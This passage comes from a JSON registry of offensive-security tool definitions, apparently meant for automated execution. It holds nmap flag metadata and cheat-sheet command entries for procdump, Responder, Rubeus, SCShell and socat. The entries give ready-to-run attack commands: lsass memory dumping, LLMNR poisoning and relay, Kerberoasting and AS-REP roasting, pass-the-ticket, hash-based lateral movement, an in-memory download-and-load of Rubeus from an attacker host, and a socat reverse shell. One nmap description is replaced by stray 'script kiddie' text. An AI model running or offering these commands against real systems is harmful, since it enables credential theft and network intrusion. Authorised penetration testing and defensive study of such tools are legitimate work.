        "aliases": [
          "--max-retries <tries>"
        ],
        "flag": "--max-retries"
      },
      {
        "name": "min-hostgroup",
        "template_key": "min-hostgroup",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-h",
          "--min-hostgroup"
        ],
        "flag": "-h"
      },
      {
        "name": "min-parallelism",
        "template_key": "min-parallelism",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-p",
          "--min-parallelism"
        ],
        "flag": "-p"
      },
      {
        "name": "min-rate",
        "template_key": "min-rate",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--min-rate <number>"
        ],
        "flag": "--min-rate"
      },
      {
        "name": "min-rtt-timeout",
        "template_key": "min-rtt-timeout",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "probe round trip time",
        "aliases": [
          "-r",
          "-t",
          "-r",
          "-t",
          "--min-rtt-timeout"
        ],
        "flag": "-r"
      },
      {
        "name": "mtu",
        "template_key": "mtu",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-f",
          "--mtu <val>"
        ],
        "flag": "-f"
      },
      {
        "name": "no-stylesheet",
        "template_key": "no-stylesheet",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--no-stylesheet"
        ],
        "flag": "--no-stylesheet"
      },
      {
        "name": "noninteractive",
        "template_key": "noninteractive",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--noninteractive"
        ],
        "flag": "--noninteractive"
      },
      {
        "name": "oA",
        "type": "boolean",
        "required": false,
        "description": "Output in the three major formats at once",
        "aliases": [
          "-oA"
        ],
        "flag": "-oA"
      },
      {
        "name": "oX",
        "type": "boolean",
        "required": false,
        "description": "Output scan in normal, XML, s|<rIpt kIddi3,",
        "aliases": [
          "-oX",
          "-oS",
          "-oG"
        ],
        "flag": "-oX"
      },
      {
        "name": "open",
        "template_key": "open",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--open"
        ],
        "flag": "--open"
      },
      {
        "name": "osscan-guess",
        "template_key": "osscan-guess",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--osscan-guess"
        ],
        "flag": "--osscan-guess"
      },
      {
        "name": "osscan-limit",
        "template_key": "osscan-limit",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--osscan-limit"
        ],
        "flag": "--osscan-limit"
      },
      {
        "name": "packet-trace",
        "template_key": "packet-trace",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--packet-trace"
        ],
        "flag": "--packet-trace"
      },
      {
        "name": "port-ratio",
        "template_key": "port-ratio",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--port-ratio <ratio>"
        ],
        "flag": "--port-ratio"
      },
      {
        "name": "privileged",
        "template_key": "privileged",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--privileged"
        ],
        "flag": "--privileged"
      },
      {
        "name": "proxies",
        "template_key": "proxies",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--proxies <url1,[url2],...>"
        ],
        "flag": "--proxies"
      },
      {
        "name": "reason",
        "template_key": "reason",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--reason"
        ],
        "flag": "--reason"
      },
      {
        "name": "resume",
        "template_key": "resume",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--resume <filename>"
        ],
        "flag": "--resume"
      },
      {
        "name": "sC",
        "type": "boolean",
        "required": false,
        "description": "equivalent to --script=default",
        "aliases": [
          "-sC"
        ],
        "flag": "-sC"
      },
      {
        "name": "sI",
        "type": "boolean",
        "required": false,
        "description": "Idle scan",
        "aliases": [
          "-sI"
        ],
        "flag": "-sI"
      },
      {
        "name": "sL",
        "type": "boolean",
        "required": false,
        "description": "List Scan - simply list targets to scan",
        "aliases": [
          "-sL"
        ],
        "flag": "-sL"
      },
      {
        "name": "sN",
        "type": "boolean",
        "required": false,
        "description": "/sF/sX: TCP Null, FIN, and Xmas scans",
        "aliases": [
          "-sN"
        ],
        "flag": "-sN"
      },
      {
        "name": "sO",
        "type": "boolean",
        "required": false,
        "description": "IP protocol scan",
        "aliases": [
          "-sO"
        ],
        "flag": "-sO"
      },
      {
        "name": "sS",
        "type": "boolean",
        "required": false,
        "description": "/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans",
        "aliases": [
          "-sS"
        ],
        "flag": "-sS"
      },
      {
        "name": "sU",
        "type": "boolean",
        "required": false,
        "description": "UDP Scan",
        "aliases": [
          "-sU"
        ],
        "flag": "-sU"
      },
      {
        "name": "sV",
        "type": "boolean",
        "required": false,
        "description": "Probe open ports to determine service/version info",
        "aliases": [
          "-sV"
        ],
        "flag": "-sV"
      },
      {
        "name": "sY",
        "type": "boolean",
        "required": false,
        "description": "/sZ: SCTP INIT/COOKIE-ECHO scans",
        "aliases": [
          "-sY"
        ],
        "flag": "-sY"
      },
      {
        "name": "scan-delay",
        "template_key": "scan-delay",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--scan-delay",
          "--max-scan-delay <time>"
        ],
        "flag": "--scan-delay"
      },
      {
        "name": "scanflags",
        "template_key": "scanflags",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--scanflags <flags>"
        ],
        "flag": "--scanflags"
      },
      {
        "name": "script",
        "template_key": "script",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "directories, script-files or script-categories",
        "aliases": [
          "--script"
        ],
        "flag": "--script"
      },
      {
        "name": "script-args",
        "template_key": "script-args",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--script-args"
        ],
        "flag": "--script-args"
      },
      {
        "name": "script-args-file",
        "template_key": "script-args-file",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--script-args-file"
        ],
        "flag": "--script-args-file"
      },
      {
        "name": "script-help",
        "template_key": "script-help",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "<Lua scripts> is a comma-separated list of script-files or script-categories",
        "aliases": [
          "--script-help"
        ],
        "flag": "--script-help"
      },
      {
        "name": "script-trace",
        "template_key": "script-trace",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--script-trace"
        ],
        "flag": "--script-trace"
      },
      {
        "name": "script-updatedb",
        "template_key": "script-updatedb",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--script-updatedb"
        ],
        "flag": "--script-updatedb"
      },
      {
        "name": "send-eth",
        "template_key": "send-eth",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--send-eth",
          "--send-ip"
        ],
        "flag": "--send-ip"
      },
      {
        "name": "sn",
        "type": "boolean",
        "required": false,
        "description": "Ping Scan - disable port scan",
        "aliases": [
          "-sn"
        ],
        "flag": "-sn"
      },
      {
        "name": "source-port",
        "template_key": "source-port",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-g",
          "--source-port <portnum>"
        ],
        "flag": "-g"
      },
      {
        "name": "spoof-mac",
        "template_key": "spoof-mac",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--spoof-mac <mac address/prefix/vendor name>"
        ],
        "flag": "--spoof-mac"
      },
      {
        "name": "stylesheet",
        "template_key": "stylesheet",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--stylesheet <path/URL>"
        ],
        "flag": "--stylesheet"
      },
      {
        "name": "system-dns",
        "template_key": "system-dns",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--system-dns"
        ],
        "flag": "--system-dns"
      },
      {
        "name": "top-ports",
        "template_key": "top-ports",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--top-ports <number>"
        ],
        "flag": "--top-ports"
      },
      {
        "name": "traceroute",
        "template_key": "traceroute",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--traceroute"
        ],
        "flag": "--traceroute"
      },
      {
        "name": "ttl",
        "template_key": "ttl",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-t",
          "-l",
          "--ttl <val>"
        ],
        "flag": "-t"
      },
      {
        "name": "unprivileged",
        "template_key": "unprivileged",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--unprivileged"
        ],
        "flag": "--unprivileged"
      },
      {
        "name": "version-all",
        "template_key": "version-all",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--version-all"
        ],
        "flag": "--version-all"
      },
      {
        "name": "version-intensity",
        "template_key": "version-intensity",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--version-intensity <level>"
        ],
        "flag": "--version-intensity"
      },
      {
        "name": "version-light",
        "template_key": "version-light",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--version-light"
        ],
        "flag": "--version-light"
      },
      {
        "name": "version-trace",
        "template_key": "version-trace",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--version-trace"
        ],
        "flag": "--version-trace"
      },
      {
        "name": "webxml",
        "template_key": "webxml",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--webxml"
        ],
        "flag": "--webxml"
      }
    ],
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "Source",
        "url": "https://nmap.org/"
      },
      {
        "label": "Darkiros",
        "url": "https://darkiros.github.io/commands.html"
      }
    ],
    "services": [
      "DNS"
    ],
    "techniques": [
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# procdump\n\nDarkiros cheat sheet commands:\n\n**Dump a process memory - local**\n```\nprocdump.exe -accepteula -ma [pid or name] [output]\n```\n\n**Dump a process memory - remote**\n```\nnet use Z: https://live.sysinternals.com; Z:\\\\procdump.exe -accepteula -ma [lsass_exe] [lsass_dmp]\n```\n",
    "_source": "darkiros-procdump.md",
    "capabilities": [
      "security.execution.post-exploitation"
    ],
    "description": "Dump a process memory - local",
    "examples": [
      {
        "description": "Dump a process memory - local",
        "command": "procdump.exe -accepteula -ma [pid or name] [output]"
      },
      {
        "description": "Dump a process memory - remote",
        "command": "net use Z: https://live.sysinternals.com; Z:\\\\procdump.exe -accepteula -ma [lsass_exe] [lsass_dmp]"
      }
    ],
    "execution": {
      "template": "procdump",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "local",
      "pipes-stdin",
      "process-manip"
    ],
    "id": "darkiros-procdump",
    "items": [
      "Password",
      "Hash"
    ],
    "name": "procdump",
    "namespace": "darkiros:tool:procdump",
    "platforms": [
      "cross-platform"
    ],
    "services": [
      "SMB"
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# responder\n\nDarkiros cheat sheet commands:\n\n**Responder - Launch**\n```\nresponder -I [interface]\n```\n\n**Responder - Launch analyze mode (no poisoning)**\n```\nresponder -I [interface] -A\n```\n\n**Responder - Launch with wpad file**\n```\nrespond -I [interface] --wpad\n```\n\n**Responder - http on**\n```\nsed -i 's/HTTP = Off/HTTP = On/g' /opt/tools/Responder/Responder.conf && cat /opt/tools/Responder/Responder.conf | grep --color=never 'HTTP ='\n```\n\n**Responder - http off**\n```\nsed -i 's/HTTP = On/HTTP = Off/g' /opt/tools/Responder/Responder.conf && cat /opt/tools/Responder/Responder.conf | grep --color=never 'HTTP ='\n```\n\n**Responder - smb on**\n```\nsed -i 's/SMB = Off/SMB = On/g' /opt/tools/Responder/Responder.conf && cat /opt/tools/Responder/Responder.conf | grep --color=never 'SMB ='\n```\n\n**Responder - smb off**\n```\nsed -i 's/SMB = On/SMB = Off/g' /opt/tools/Responder/Responder.conf && cat /opt/tools/Responder/Responder.conf | grep --color=never 'SMB ='\n```\n\n**Responder - challenge set**\n```\nsed -i 's/Challenge =.*$/Challenge = <challenge>/g' /opt/tools/Responder/Responder.conf && cat /opt/tools/Responder/Responder.conf | grep --color=never 'Challenge ='\n```\n\n**Responder - challenge reset**\n```\nsed -i 's/Challenge =.*$/Challenge = /g' /opt/tools/Responder/Responder.conf && cat /opt/tools/Responder/Responder.conf | grep --color=never 'Challenge ='\n```\n\n**multirelay attack - user filtered (previous disable HTTP and SMB in Responder.conf)**\n```\nmultirelay -t [ip] -u [user1] [user2]\n```\n\n**multirelay attack - all user (previous disable HTTP and SMB in Responder.conf)**\n```\nmultirelay -t [ip] -u all\n```\n",
    "_source": "darkiros-responder.md",
    "capabilities": [
      "credential.discovery.reconnaissance",
      "network.intercept.mitm",
      "utility.generic"
    ],
    "description": "Responder - Launch",
    "examples": [
      {
        "description": "Responder - Launch",
        "command": "responder -I [interface]"
      },
      {
        "description": "Responder - Launch analyze mode (no poisoning)",
        "command": "responder -I [interface] -A"
      },
      {
        "description": "Responder - Launch with wpad file",
        "command": "respond -I [interface] --wpad"
      },
      {
        "description": "Responder - http on",
        "command": "sed -i 's/HTTP = Off/HTTP = On/g' /opt/tools/Responder/Responder.conf && cat /opt/tools/Responder/Responder.conf | grep --color=never 'HTTP ='"
      },
      {
        "description": "Responder - http off",
        "command": "sed -i 's/HTTP = On/HTTP = Off/g' /opt/tools/Responder/Responder.conf && cat /opt/tools/Responder/Responder.conf | grep --color=never 'HTTP ='"
      },
      {
        "description": "Responder - smb on",
        "command": "sed -i 's/SMB = Off/SMB = On/g' /opt/tools/Responder/Responder.conf && cat /opt/tools/Responder/Responder.conf | grep --color=never 'SMB ='"
      },
      {
        "description": "Responder - smb off",
        "command": "sed -i 's/SMB = On/SMB = Off/g' /opt/tools/Responder/Responder.conf && cat /opt/tools/Responder/Responder.conf | grep --color=never 'SMB ='"
      },
      {
        "description": "Responder - challenge set",
        "command": "sed -i 's/Challenge =.*$/Challenge = <challenge>/g' /opt/tools/Responder/Responder.conf && cat /opt/tools/Responder/Responder.conf | grep --color=never 'Challenge ='"
      },
      {
        "description": "Responder - challenge reset",
        "command": "sed -i 's/Challenge =.*$/Challenge = /g' /opt/tools/Responder/Responder.conf && cat /opt/tools/Responder/Responder.conf | grep --color=never 'Challenge ='"
      },
      {
        "description": "multirelay attack - user filtered (previous disable HTTP and SMB in Responder.conf)",
        "command": "multirelay -t [ip] -u [user1] [user2]"
      },
      {
        "description": "multirelay attack - all user (previous disable HTTP and SMB in Responder.conf)",
        "command": "multirelay -t [ip] -u all"
      }
    ],
    "execution": {
      "template": "responder",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive"
    ],
    "id": "darkiros-responder",
    "items": [
      "Hash",
      "Password"
    ],
    "mitre_ids": [
      "T1557",
      "T1046"
    ],
    "name": "responder",
    "namespace": "darkiros:tool:responder",
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "Source",
        "url": "https://github.com/lgandx/Responder"
      },
      {
        "label": "Darkiros",
        "url": "https://darkiros.github.io/commands.html"
      }
    ],
    "services": [
      "LLMNR",
      "NBT-NS",
      "MDNS",
      "SMB",
      "HTTP"
    ],
    "techniques": [
      "collection",
      "discovery",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# rubeus\n\nDarkiros cheat sheet commands:\n\n**Rubeus - inject ticket from file**\n```\nRubeus.exe ptt /ticket:<ticket>\n```\n\n**Rubeus - load from powershell**\n```\n$data = (New-Object System.Net.WebClient).DownloadData('http://[lhost]/Rubeus.exe');$assem = [System.Reflection.Assembly]::Load($data);\n```\n\n**Rubeus - execute from powershell**\n```\n[Rubeus.Program]::MainString(\\\"klist\\\");\n```\n\n**Rubeus - monitor**\n```\nRubeus.exe monitor /interval:5 /filteruser:[machine_account]\n```\n\n**Rubeus - inject ticket from b64 blob**\n```\nRubeus.exe ptt /ticket:<base64_ticket>\n```\n\n**Rubeus - ASREP Roasting for all users in current domain**\n```\nRubeus.exe asreproast /format:[AS_REP_response_format] /outfile:hashes.txt\n```\n\n**Rubeus - ASREP Roasting for a specific user**\n```\nRubeus.exe asreproast /user:[username] /domain:[domain] /format:[AS_REP_response_format] /outfile:hashes.txt\n```\n\n**Rubeus - Kerberoasting current domain**\n```\nRubeus.exe kerberoast /outfile:hashes.txt [/rc4opsec] [/aes]\n```\n\n**Rubeus - Kerberoasting specific user**\n```\nRubeus.exe kerberoast /user:[username] /domain:[domain] /outfile:hashes.txt /simple\n```\n\n**Rubeus - get hash from user**\n```\nRubeus.exe hash /user:[username] /domain:[domain] /password:[password]\n```\n\n**Rubeus - dump tickets**\n```\nRubeus.exe dump\n```\n\n**Rubeus - ask and inject ticket**\n```\nRubeus.exe asktgt /user:[username] /domain:[domain] /rc4:[ntlm-hash] /ptt\n```\n\n**Rubeus - S4U with ticket constrained delegation**\n```\nRubeus.exe s4u /ticket:[ticket] /impersonateuser:[user] /msdsspn:ldap/[domain_fqdn] /altservice:cifs /ptt\n```\n\n**Rubeus - S4U with hash constrained delegation**\n```\nRubeus.exe s4u /user:[user] /rc4:[ntlm-hash] /impersonateuser:[user] /msdsspn:ldap/[domain_fqdn] /altservice:cifs /domain:[domain_fqdn] /ptt\n```\n\n**Rubeus - get rc4 of machine with the password**\n```\nRubeus.exe hash /password:[password]\n```\n",
    "_source": "darkiros-rubeus.md",
    "capabilities": [
      "network.connect.remote",
      "security.execution.exploit",
      "security.execution.post-exploitation",
      "utility.generic"
    ],
    "description": "Rubeus - inject ticket from file",
    "examples": [
      {
        "description": "Rubeus - inject ticket from file",
        "command": "Rubeus.exe ptt /ticket:<ticket>"
      },
      {
        "description": "Rubeus - load from powershell",
        "command": "$data = (New-Object System.Net.WebClient).DownloadData('http://[lhost]/Rubeus.exe');$assem = [System.Reflection.Assembly]::Load($data);"
      },
      {
        "description": "Rubeus - execute from powershell",
        "command": "[Rubeus.Program]::MainString(\\\"klist\\\");"
      },
      {
        "description": "Rubeus - monitor",
        "command": "Rubeus.exe monitor /interval:5 /filteruser:[machine_account]"
      },
      {
        "description": "Rubeus - inject ticket from b64 blob",
        "command": "Rubeus.exe ptt /ticket:<base64_ticket>"
      },
      {
        "description": "Rubeus - ASREP Roasting for all users in current domain",
        "command": "Rubeus.exe asreproast /format:[AS_REP_response_format] /outfile:hashes.txt"
      },
      {
        "description": "Rubeus - ASREP Roasting for a specific user",
        "command": "Rubeus.exe asreproast /user:[username] /domain:[domain] /format:[AS_REP_response_format] /outfile:hashes.txt"
      },
      {
        "description": "Rubeus - Kerberoasting current domain",
        "command": "Rubeus.exe kerberoast /outfile:hashes.txt [/rc4opsec] [/aes]"
      },
      {
        "description": "Rubeus - Kerberoasting specific user",
        "command": "Rubeus.exe kerberoast /user:[username] /domain:[domain] /outfile:hashes.txt /simple"
      },
      {
        "description": "Rubeus - get hash from user",
        "command": "Rubeus.exe hash /user:[username] /domain:[domain] /password:[password]"
      },
      {
        "description": "Rubeus - dump tickets",
        "command": "Rubeus.exe dump"
      },
      {
        "description": "Rubeus - ask and inject ticket",
        "command": "Rubeus.exe asktgt /user:[username] /domain:[domain] /rc4:[ntlm-hash] /ptt"
      },
      {
        "description": "Rubeus - S4U with ticket constrained delegation",
        "command": "Rubeus.exe s4u /ticket:[ticket] /impersonateuser:[user] /msdsspn:ldap/[domain_fqdn] /altservice:cifs /ptt"
      },
      {
        "description": "Rubeus - S4U with hash constrained delegation",
        "command": "Rubeus.exe s4u /user:[user] /rc4:[ntlm-hash] /impersonateuser:[user] /msdsspn:ldap/[domain_fqdn] /altservice:cifs /domain:[domain_fqdn] /ptt"
      },
      {
        "description": "Rubeus - get rc4 of machine with the password",
        "command": "Rubeus.exe hash /password:[password]"
      }
    ],
    "execution": {
      "template": "rubeus",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "remote",
      "stealth"
    ],
    "id": "darkiros-rubeus",
    "items": [
      "TGS",
      "TGT",
      "Hash"
    ],
    "name": "rubeus",
    "namespace": "darkiros:tool:rubeus",
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "Source",
        "url": "https://github.com/GhostPack/Rubeus"
      },
      {
        "label": "Darkiros",
        "url": "https://darkiros.github.io/commands.html"
      }
    ],
    "services": [
      "Kerberos"
    ],
    "techniques": [
      "execution",
      "lateral-movement"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# SCShell\n\nDarkiros cheat sheet commands:\n\n**Stealthy psexec**\n```\npython3 scshell.py -service-name [service_name|defragsvc] -hashes :[ntlm_hash] [domain]/[user]@[ip]\n```\n",
    "_source": "darkiros-scshell.md",
    "capabilities": [
      "network.connect.remote"
    ],
    "description": "Stealthy psexec",
    "examples": [
      {
        "description": "Stealthy psexec",
        "command": "python3 scshell.py -service-name [service_name|defragsvc] -hashes :[ntlm_hash] [domain]/[user]@[ip]"
      }
    ],
    "execution": {
      "template": "scshell",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "interactive",
      "network-intensive",
      "process-manip",
      "remote",
      "stealth"
    ],
    "id": "darkiros-scshell",
    "items": [
      "Shell",
      "Hash"
    ],
    "name": "SCShell",
    "namespace": "darkiros:tool:scshell",
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "Source",
        "url": "https://github.com/Mr-Un1k0d3r/SCShell"
      },
      {
        "label": "Darkiros",
        "url": "https://darkiros.github.io/commands.html"
      }
    ],
    "services": [
      "SMB",
      "WinRM",
      "RPC"
    ],
    "techniques": [
      "lateral-movement"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# socat\n\nDarkiros cheat sheet commands:\n\n**socat port forwarding listener (on local machine)**\n```\n./socat TCP-LISTEN:[port_listener],fork,reuseaddr TCP-LISTEN:[port_to_forward]\n```\n\n**socat port forwarding connect (on remote machine)**\n```\nsocat TCP:[connect_ip]:[connect_port] TCP:127.0.0.1:[port_to_forward]\n```\n\n**socat reverse shell (remote victime)**\n```\n./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:[listner_ip]:[listner_port]\n```\n\n**socat reverse shell (local listener)**\n```\nsocat file:`tty`,raw,echo=0 tcp-listen:[port|4444]\n```\n",
    "_source": "darkiros-socat.md",
    "capabilities": [
      "network.pivot.generic"
    ],
    "description": "socat port forwarding listener (on local machine)",
    "examples": [
      {
        "description": "socat port forwarding listener (on local machine)",
        "command": "./socat TCP-LISTEN:[port_listener],fork,reuseaddr TCP-LISTEN:[port_to_forward]"
      },
      {
        "description": "socat port forwarding connect (on remote machine)",
        "command": "socat TCP:[connect_ip]:[connect_port] TCP:127.0.0.1:[port_to_forward]"
      },
      {
        "description": "socat reverse shell (remote victime)",
        "command": "./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:[listner_ip]:[listner_port]"
      },
      {
        "description": "socat reverse shell (local listener)",
        "command": "socat file:`tty`,raw,echo=0 tcp-listen:[port|4444]"
      }
    ],
    "execution": {
      "template": "socat",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "local",
      "network-intensive",
      "pipes-stdout"
    ],
    "id": "darkiros-socat",
    "items": [
      "NoCreds"
    ],
    "name": "socat",
    "namespace": "darkiros:tool:socat",
    "parameters": [
      {
        "name": "0",
        "type": "boolean",
        "required": false,
        "description": "do not prefer an IP version",
        "aliases": [
          "-0"
        ],
        "flag": "-0"
      },
      {
        "name": "4",
        "type": "boolean",
        "required": false,
        "description": "prefer IPv4 if version is not explicitly specified",
        "aliases": [
          "-4"
        ],
        "flag": "-4"
      },
      {
        "name": "6",
        "type": "boolean",
        "required": false,
        "description": "prefer IPv6 if version is not explicitly specified",
        "aliases": [
          "-6"
        ],
        "flag": "-6"
      },
      {
        "name": "D",
        "type": "boolean",
        "required": false,
        "description": "analyze file descriptors before loop",
        "aliases": [
          "-D"
        ],
        "flag": "-D"
      },
      {
        "name": "L",
        "type": "boolean",
        "required": false,
        "description": "try to obtain lock, or fail",
        "aliases": [
          "-L"
        ],
        "flag": "-L"
      },
      {
        "name": "R",
        "type": "boolean",
        "required": false,
        "description": "raw dump of data flowing from right to left",
        "aliases": [
          "-R"
        ],
        "flag": "-R"
      },
      {
        "name": "S",
        "type": "boolean",
        "required": false,
        "description": "log these signals, override default",
        "aliases": [
          "-S"
        ],
        "flag": "-S"
      },
      {
        "name": "T",
        "type": "boolean",
        "required": false,
        "description": "total inactivity timeout in seconds",
        "aliases": [
          "-T"
        ],
        "flag": "-T"
      },
      {
        "name": "U",
        "type": "boolean",
        "required": false,
        "description": "unidirectional mode (right to left)",
        "aliases": [
          "-U"
        ],
        "flag": "-U"
      },
      {
        "name": "V",
        "type": "boolean",
        "required": false,
        "description": "print version and feature information to stdout, and exit",
        "aliases": [
          "-V"
        ],
        "flag": "-V"
      },
      {
        "name": "W",
        "type": "boolean",
        "required": false,
        "description": "try to obtain lock, or wait",
        "aliases": [
          "-W"
        ],
        "flag": "-W"
      },
      {
        "name": "b",
        "type": "boolean",
        "required": false,
        "description": "set data buffer size (8192)",
        "aliases": [
          "-b"
        ],
        "flag": "-b"
      },
      {
        "name": "d",
        "type": "boolean",
        "required": false,
        "description": "increase verbosity (use up to 4 times; 2 are recommended)",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "d0",
        "type": "boolean",
        "required": false,
        "description": "|1|2|3|4    set verbosity level (0: Errors; 4 all including Debug)",
        "aliases": [
          "-d0"
        ],
        "flag": "-d0"
      },
      {
        "name": "experimental",
        "type": "boolean",
        "required": false,
        "description": "enable experimental features",
        "aliases": [
          "--experimental"
        ],
        "flag": "--experimental"
      },
      {
        "name": "flag-h",
        "template_key": "flag-h",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "-hh like -h, plus a list of all common address option names -hhh like -hh, plus a list of all available address option names -d[ddd] increase verbosity (use up to 4 times; 2 are recommended) -d0|1|2|3|4 set verbosity level (0: Errors; 4 all including Debug) -D analyze file descriptors before loop --experimental enable experimental features --statistics output transfer statistics on exit -ly[facility] log to syslog, using facility (default is daemon) -lf<logfile> log to file -ls log to stderr (default if no other log) -lm[facility] mixed log mode (stderr during initialization, then syslog) -lp<progname> set the program name used for logging and vars -lu use microseconds for logging timestamps -lh add hostname to log messages -v verbose text dump of data traffic -x verbose hexadecimal dump of data traffic -r <file> raw dump of data flowing from left to right -R <file> raw dump of data flowing from right to left -b<size_t> set data buffer size (8192) -s sloppy (continue on error) -S<sigmask> log these signals, override default -t<timeout> wait seconds before closing second channel -T<timeout> total inactivity timeout in seconds -u unidirectional mode (left to right) -U unidirectional mode (right to left) -g do not check option groups -L <lockfile> try to obtain lock, or fail -W <lockfile> try to obtain lock, or wait -0 do not prefer an IP version -4 prefer IPv4 if version is not explicitly specified -6 prefer IPv6 if version is not explicitly specified",
        "aliases": [
          "-h",
          "-?"
        ],
        "flag": "-h"
      },
      {
        "name": "g",
        "type": "boolean",
        "required": false,
        "description": "do not check option groups",
        "aliases": [
          "-g"
        ],
        "flag": "-g"
      },
      {
        "name": "hh",
        "type": "boolean",
        "required": false,
        "description": "plus a list of all common address option names",
        "aliases": [
          "-hh",
          "-h"
        ],
        "flag": "-h"
      },
      {
        "name": "hhh",
        "type": "boolean",
        "required": false,
        "description": "plus a list of all available address option names",
        "aliases": [
          "-hhh",
          "-hh"
        ],
        "flag": "-hh"
      },
      {
        "name": "lf",
        "type": "boolean",
        "required": false,
        "description": "log to file",
        "aliases": [
          "-lf"
        ],
        "flag": "-lf"
      },
      {
        "name": "lh",
        "type": "boolean",
        "required": false,
        "description": "add hostname to log messages",
        "aliases": [
          "-lh"
        ],
        "flag": "-lh"
      },
      {
        "name": "lm",
        "type": "boolean",
        "required": false,
        "description": "mixed log mode (stderr during initialization, then syslog)",
        "aliases": [
          "-lm"
        ],
        "flag": "-lm"
      },
      {
        "name": "lp",
        "type": "boolean",
        "required": false,
        "description": "set the program name used for logging and vars",
        "aliases": [
          "-lp"
        ],
        "flag": "-lp"
      },
      {
        "name": "ls",
        "type": "boolean",
        "required": false,
        "description": "log to stderr (default if no other log)",
        "aliases": [
          "-ls"
        ],
        "flag": "-ls"
      },
      {
        "name": "lu",
        "type": "boolean",
        "required": false,
        "description": "use microseconds for logging timestamps",
        "aliases": [
          "-lu"
        ],
        "flag": "-lu"
      },
      {
        "name": "ly",
        "type": "boolean",
        "required": false,
        "description": "log to syslog, using facility (default is daemon)",
        "aliases": [
          "-ly"
        ],
        "flag": "-ly"
      },
      {
        "name": "r",
        "type": "boolean",
        "required": false,
        "description": "raw dump of data flowing from left to right",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      },
      {
        "name": "s",
        "type": "boolean",
        "required": false,
        "description": "sloppy",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "t",
        "type": "boolean",
        "required": false,
        "description": "wait seconds before closing second channel",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "u",
        "type": "boolean",
        "required": false,
        "description": "unidirectional mode (left to right)",
        "aliases": [
          "-u"
        ],
        "flag": "-u"
      },
      {
        "name": "v",
        "type": "boolean",
        "required": false,
        "description": "verbose text dump of data traffic",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      },
      {
